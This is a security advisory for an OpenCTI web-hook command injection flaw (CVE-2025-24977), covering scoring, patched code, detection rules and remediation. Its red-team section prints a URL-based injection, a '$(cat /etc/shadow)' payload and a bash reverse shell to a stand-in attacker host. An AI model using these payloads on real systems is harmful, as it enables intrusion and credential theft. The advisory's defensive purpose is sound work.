CVE-2025-24977

Executive Summary

CVE-2025-24977 is a critical vulnerability in the OpenCTI platform, an open-source cyber threat intelligence (CTI) platform. The flaw allows any authenticated user with the manage customizations capability to execute arbitrary commands on the underlying infrastructure by abusing the web-hooks feature. This leads to a full compromise of the containerized environment, enabling an attacker to access internal server-side secrets and pivot to further attacks. The vulnerability has a CVSS score of 9.1, indicating a critical severity. The patch is available in version 6.4.11.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
• Base Score: 9.1 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires manage customizations capability
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – compromise of container affects the infrastructure
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The threat level is critical due to the low complexity, low privileges required, and the potential for full system compromise.

Deep Dive & Mechanics

The vulnerability resides in the web-hooks functionality of OpenCTI. Web-hooks are used to trigger external actions based on events. The flaw allows an attacker with the manage customizations capability to inject arbitrary commands into the web-hook processing pipeline. This is achieved by manipulating the web-hook configuration to execute system commands, which are then run on the server hosting the OpenCTI instance.

The attack flow:

1. An authenticated user with manage customizations privileges accesses the web-hook configuration interface.
2. The attacker crafts a malicious web-hook payload that includes command injection.
3. When the web-hook is triggered, the injected commands are executed on the server.
4. The attacker gains a root shell inside the container, allowing access to internal secrets and the ability to pivot to other systems.

The root cause is insufficient sanitization of user input in the web-hook configuration, leading to OS command injection (CWE-78).

Vulnerable vs. Patched Code

Vulnerable Code (pre-6.4.11): The web-hook handler directly concatenates user input into a shell command without proper escaping.

# Vulnerable example (pseudo-code)
def execute_webhook(config):
    command = "curl -X POST " + config['url'] + " -d " + config['payload']
    os.system(command)

Patched Code (6.4.11): The patched version uses parameterized execution and input validation to prevent injection.

# Patched example (pseudo-code)
def execute_webhook(config):
    import subprocess
    url = shlex.quote(config['url'])
    payload = shlex.quote(config['payload'])
    subprocess.run(["curl", "-X", "POST", url, "-d", payload], check=True)

The patch ensures that user input is properly escaped and that commands are executed via subprocess with a list of arguments, preventing shell injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an OpenCTI instance (version < 6.4.11)
• User account with manage customizations capability

Exploitation Steps:

1. Log in to OpenCTI as a user with manage customizations privileges.
2. Navigate to the web-hooks configuration section.
3. Create a new web-hook with a malicious URL or payload that includes command injection. For example:
   • URL: http://attacker.com/;id
   • Payload: $(cat /etc/shadow)
4. Trigger the web-hook (e.g., by creating a new entity that matches the web-hook event).
5. The injected command executes on the server, and the output is sent to the attacker's server.

Example Payload:

# Reverse shell payload
http://attacker.com/;bash -i >& /dev/tcp/attacker_ip/4444 0>&1

Blue Team

Detection:

• Monitor for unusual web-hook configurations, especially those containing shell metacharacters (;, |, $, `).
• Alert on web-hook triggers that result in outbound connections to unknown IPs.
• Use the detection rules provided in the Detection Engineering section.

Hunting:

• Review logs for web-hook creation/modification events.
• Check for processes spawned by the web-hook handler that are not typical (e.g., bash, sh, curl with suspicious arguments).

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections to attacker-controlled IPs on unusual ports (e.g., 4444, 1337).
  • HTTP requests containing shell metacharacters in the URL or payload.
• File IOCs:
  • Unexpected files in /tmp or /var/tmp created by the web-hook process.
  • Modified web-hook configuration files (e.g., webhooks.json).
• Process IOCs:
  • Processes named bash, sh, or curl spawned by the OpenCTI application user.
  • Reverse shell processes (e.g., bash -i).

Detection Engineering

YARA Rule

rule CVE_2025_24977_Webhook_Injection {
    meta:
        description = "Detects malicious web-hook configurations in OpenCTI"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24977"
    strings:
        $injection1 = /[;|&`$]/
        $injection2 = /bash|sh|cmd|powershell/
        $url_pattern = /http[s]?:\/\/[^\/]+\/[;|&`$]/
    condition:
        $url_pattern or ($injection1 and $injection2)
}

Sigma Rule

title: OpenCTI Webhook Command Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection attempts via OpenCTI webhooks
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/bash'
        CommandLine|contains:
            - ';'
            - '|'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of shell metacharacters in webhook URLs (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-24977 OpenCTI Webhook Command Injection"; flow:to_server; content:"POST"; http_method; content:"/webhook"; http_uri; pcre:"/[;|&`$]/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade OpenCTI to version 6.4.11 or later.
2. If upgrade is not possible, restrict the manage customizations capability to only trusted users.
3. Monitor web-hook configurations for suspicious changes.

Long-term Mitigations:

• Implement network segmentation to limit the blast radius of a compromised container.
• Use a Web Application Firewall (WAF) to filter malicious payloads.
• Conduct regular security audits of web-hook configurations.

Patch Details:

• Upgrade to OpenCTI 6.4.11, which includes proper input sanitization and parameterized command execution.

Valters IT